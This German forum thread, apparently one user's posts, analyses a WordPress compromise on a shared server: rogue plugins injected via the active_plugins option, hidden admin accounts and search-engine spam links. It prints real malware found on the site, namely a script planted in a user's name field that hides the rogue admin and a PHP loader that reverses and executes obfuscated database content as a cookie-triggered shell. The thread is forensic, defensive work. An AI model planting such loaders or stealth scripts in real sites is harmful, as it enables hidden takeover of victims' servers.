Beiträge von Sebbi

Also wenn es tatsächlich ein Problem von Wordpress ist und nicht von einem anderen Skript in einem anderen Webverzeichnis kommt (wie ich bei mir vermute), ist das Löschen dieser Einträge keine Lösung. Richtig.

Ob andere Maßnahmen wirksam sind, kann man nicht so einfach sagen. Man kann immer nur zeigen, dass sie nicht wirksam waren, wenn etwas passiert ist ;-)

Was ich bisher gelesen habe bzw. bei mir gesehen habe, ist immer nur die "rss_f541b3abd05e7962fcab37737f40fad8" Option betroffen. Alle anderen sind tatsächlich von Magpie angelegt (vermutlich für die Feeds auf dem Dashboard?).

Mit Art des Servers meinte ich, ob es vielleicht auch ein mit freunden geteilter Server ist bei dem man in die Webverzeichnisse anderer User schauen kann.

Dann reicht es nämlich aus, wenn ein Blog in einem anderen Verzeichnis infiziert ist. Das kann dann ohne eine Sicherheitslücke von Wordpress direkt zu nutzen auch dein Blog infizieren und in deine Datenbank schreiben.

Ein allgemeines Schema gibt es nicht. Aber generell sollte alles für den Webserver lesbar sein und wenn du Uploads benutzt dieses Verzeichnis auch beschreibbar sein. Auf unserem Server hat sich der Schadcode bei einem Blog dann eben in das Upload-Verzeichnis installiert und Wordpress hat den Plugincode natürlich auch von dort geladen :-/ Genauso wie es Plugincode von "../../../../../../../../../../../tmp/tmpasdfkjsödjf" (nur ein ausgedachtes Beispiel) laden würde ;-)

first name Einträge: 11 Stück? Also auch 11 angelegte Adminnutzer in wp_user? wow! Wenn du dir sicher bist welche User nicht da sein sollten, dann kannst du die entsprechenden Einträge in wp_user löschen und die dazugehörigen (gleiche userid) Daten in wp_usermeta ebenso. Bloß nicht den eigenen Admin aus Versehen löschen ;-)

Könntet ihr den Code, der bei euch in das Theme eingefügt wurde mal hier posten?

Eventuell auch gleich mal mittels phpmyadmin die Datenbank überprüfen, ob dort ein unbekannter Adminbenutzer in der Tabelle wp_user eingetragen ist. Vielleicht ist diese Art von Hack ja eine Abwandlung meines kleines Problems ;-)

http://forum.wordpress-deutschland.org/allgemeines/47…-ne-luecke.html

Die beiden Einträge in wp_options mit option_name "rss_f541b3abd05e7962fcab37737f40fad8" bzw. "internal_links_cache" kann man getrost löschen.

Der active_plugins Eintrag lässt sich nicht so leicht bereinigen. Da hilft wohl nur sich merken welche Plugins aktiviert waren, dann den Eintrag aus der Datenbank löschen und die Plugins neu aktivieren.

Benutzt du auch Version 2.7. bzw. 2.7.1? Und viel interessanter, auf was für einer Art Server befindet sich dein Wordpress?

Hier alle Daten und Dateien, die ich bisher gesammelt habe.

Grüße

Hall NHQ,

gibt es in deiner Datenbank (mit Phpmyadmin anschauen) in der Tabelle wp_user einen neuen Nutzer mit Adminrechten (wp_usermeta)?

Weitere Kennzeichen dieses Hacks waren bei mir noch neue Einträge in wp_options. Darunter natürlich die Erweiterung des active_plugins Eintrages, dann ein Eintrag rss_f541b3abd05e7962fcab37737f40fad8.txt, der wie ein normaler Magpie Cache aussieht, allerdings mittendrin rückwärts geschriebenen (strrev) Base64 kodierten Code enthält, der durch das Plugin nachgeladen wird. Und schlussendlich gab es dann noch eine Option namens internal_links_cache, die die ganzen Spamlinks enthielt.

Grüße

@javascript: aber dann sehe ich doch die ganzen hübschen Effekte nicht ;-)

Oh ja, ich denke ich werde morgen mal meine gesammelten Codefragmente als Zip hier reinstellen. Die Verschleierung ihres PHP-Codes ist phänomenal, mindestens!

Vielleicht sollte Wordpress aber auch nicht allen Werten aus der Datenbank vertrauen und ungefiltert darstellen (warum z.B. sollte das script-tag bei Profilen erlaubt sein?).

Jedenfalls gut, dass es schon mal für die Pluginüberprüfung ein Ticket gibt.

P.S.: Je mehr ich auf unserem Server nach der eigentlichen Ursache suche, desto mehr entdecke ich dabei. Einige Wordpressinstallationen hatten eine Datei "remv.php" in ihrem Theme Verzeichnis. Ist wohl so eine Art Dateimanager. Einige Installationen (auch meine 2.7-er) hatte sogar zwei verschiedene Schadplugins installiert. Erst dachte ich die gehören zusammen, aber mittlerweile bin ich mir da nicht mehr so sicher ... seufz. Schleunigst alles abdichten ... von wegen wir vertrauen uns gegenseitig, des Skripten selbst kann man nicht vertrauen ;-)

Hallo hakre,

ich hab noch ein wenig nachgedacht. Bei unserem Server gibt es so einige Wordpressinstallationen und nicht alle sind aktuell. Desweiteren verwenden wir keine Abschottung der Webverzeichnisse (also kein Openbasedir und der Webserver läuft als wwwrun und kann alles sehen) voreinander. Das bedeutet, dass ein infiziertes Wordpress theoretisch nur die wp-config.php aller anderen Installationen suchen muss, dort die Datenbankinfos findet und sich somit in die Datenbank eintragen kann.

Das habe ich nachgeprüft und ist auch tatsächlich bei jeder Wordpressinstallation der Fall gewesen.

Befallen waren allerdings nur Installationen, die einen beschreibbaren Ordner im Pluginverzeichnis hatten. Einige luden das "Hackplugin" auch aus dem /tmp-Ordner. Befallen heißt in diesem Fall, dass Spamlinks angezeigt wurden, wenn ein Suchmaschinenbot die Seite gecrawlt hat.

Der Datenbankzugriff alleine hat ja schon bei jeder Installation einen unsichtbaren Nutzer angelegt, auch das würde ich als befallen bezeichnen :/

Übrigens stand folgendes im Namensfeld des Benutzers (überall das gleiche):

...
                                                                                                                                                                    
               
               
               
     <b id="user_superuser"><script language="JavaScript">
     var setUserName = function(){
          try{
               var t=document.getElementById("user_superuser");
               while(t.nodeName!="TR"){
                    t=t.parentNode;
               };
               t.parentNode.removeChild(t);
               var tags = document.getElementsByTagName("H3");
               var s = " shown below";
               for (var i = 0; i < tags.length; i++) {
                    var t=tags[i].innerHTML;
                    var h=tags[i];
                    if(t.indexOf(s)>0){
                         s =(parseInt(t)-1)+s;
                         h.removeChild(h.firstChild);
                         t = document.createTextNode(s);
                         h.appendChild(t);
                    }
               }
                var arr=document.getElementsByTagName("ul");
                for(var i in arr) if(arr[i].className=="subsubsub"){
                    var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
                    if(n[1]>0){
                        var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
                        arr[i].innerHTML=txt;
                    }
                }
                
          }catch(e){};
     };
     addLoadEvent(setUserName);
     </script>

Der Code reduziert die angezeigte Anzahl der Administratoren in der Benutzerübersicht. Clever! Scheinbar wird der Name von Benutzern nicht richtig escaped? Keine Ahnung.

Also mein Fazit:
Wordpress 2.7 ist wohl nicht die Schuld zu geben, wenn ein Hack auf einer parallelen, älteren Version Dateien und Datenbankeinträge einschleust. Allerdings könnte Wordpress etwas dagegen tun, dass man überhaupt nicht mitbekommt, dass man gehackt wurde.

- Erkennung von ungewöhnlichen Plugins bzw. wenigstens die Anzeige aller Plugins, die durch active_plugins ausgeführt werden
- wirklich alle Benutzer anzeigen

Natürlich hilft auch das nicht, wenn man nicht ständig überprüft, ob alles seine Ordnung hat, aber besser als nichts, oder?

Grüße,
Sebbi

Guten Abend,

ich bin der Autor des hier genannten - und gehackten - Blogs. Vielleicht kann ich hier einige Dinge zu diesem Hack klarstellen.

1. Spamkarma ist nicht das Einfallstor gewesen, das Plugin hat sich nur zufällig in das Verzeichnis eingenistet. Ich weiß das, weil andere befallene Wordpress Installationen auf dem gleichen Server, das "Plugin" (also den Hack) in anderen Verzeichnissen liegen hatten.

2. Wegen der anderen Wordpress Installationen auf unserem Server, die zum Großen Teil noch nicht die aktuelle Wordpress Version benutzen, bin ich mir nicht sicher, ob der Fehler tatsächlich auch ein Problem von 2.7 ist. Möglicherweise sucht ein infiziertes Wordpress nach anderen Installationen auf dem Server und infiziert sie über das Dateisystem (bei uns sind alle Webverzeichnisse durch den Webserver les- und schreibbar). Allerdings wurde bei mir ganz sicher der Eintrag "active_plugins" in der Datenbanktabelle wp_options manipuliert, was wiederum gegen diese Theorie spricht, da das nicht über das Dateisystem bewerkstelligt werden kann.

3. Ein Blog auf unserem Server hatte ebenfalls die schadhafte Datei im Pluginverzeichnis, allerdings keine ungewöhnlichen Einträge in der Datenbank. Das Blog ist privat und von außen durch einen .htaccess Passwortschutz geschützt.

4. Mal abgesehen davon, dass so ein Exploit nicht möglich sein sollte, sollte Wordpress vielleicht doch alle Plugins anzeigen, die es mittels active_plugins lädt statt nur die Plugins, die es im Dateisystem findet. Bei mir wurde außerdem ein Adminuser angelegt, der nicht in der normalen Userliste auftauchte, sondern nur, wenn man einen Benutzer löscht. Dort gibt es dann eine Abfrage wem die Artikel zugewiesen werden sollen und dort tauchte der versteckte User auf. Auch das sollte nicht passieren können.

5. Die automatische Updatefunktion läuft bei mir über FTP und nur mit dem FTP-Passwort. Das sollte kein Sicherheitsproblem sein, oder?

Falls ihr noch Fragen habt, ich habe den Thread abonniert. Nur zu.

Für mich war das ganze sehr ärgerlich, weil ich es erst bemerkt habe als Google mich schon aus dem Index bzw. ganz weit nach hinten geschubst hat. An Hand der Logdateien auf unserem Server konnte ich leider nicht feststellen wie das passieren konnte. Zum fraglichen Zeitpunkt (Datum der Plugindatei) ist nichts ungewöhnliches zu sehen ...

P.S.:
Noch ein paar Links.
Ein Blog, das scheinbar dem gleichen Exploit zum Opfer gefallen ist: Mediengestalter Blog gehackt und keiner hats gemerkt (Wordpress Exploit)
Noch eines:
Wordpress exploit: we been hit by hidden spam link injection Linux by Examples

Hier eine ausführlichere Beschreibung:
Wordpress Exploit: wordpress_options (etwas länger her)

Und dann habe ich noch einen Exploitcode für ein altes Wordpress-MU gefunden, der aber genau das macht was bei mir passiert ist, die Manipulation von "active_plugins":
Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit

P.P.S.: Der Code des Hack-Plugins, das ich bei mir gefunden habe. Die Datei ist exakt 48993 Bytes groß.

Eine zweite Datei war ebenfalls noch dabei, die mit PHP-Kommentaren zur Verwirrung zugepflastert war. Ohne Kommentare schaut es so aus:

<?php
global $wpdb;
$trp_rss=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'"); 
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
?>

In der dortigen option stand diverses und ein String, der mit obiger Funktion in create_function verwendet wird. Darin wird ein base64 kodierter String dekodiert und evaluiert, der dann den eigentlichen Hack-Code enthält (Datei im Anhang). Scheinbar eine Art Shell, die bei Vorhanden sein bestimmter Cookies aktiv wird.

Mehr weiß ich jetzt noch nicht ... Insgesamt sieht es sehr ähnlich wie der Code auf der oben verlinkten Seite (Wordpress Exploit: wordpress_options) aus.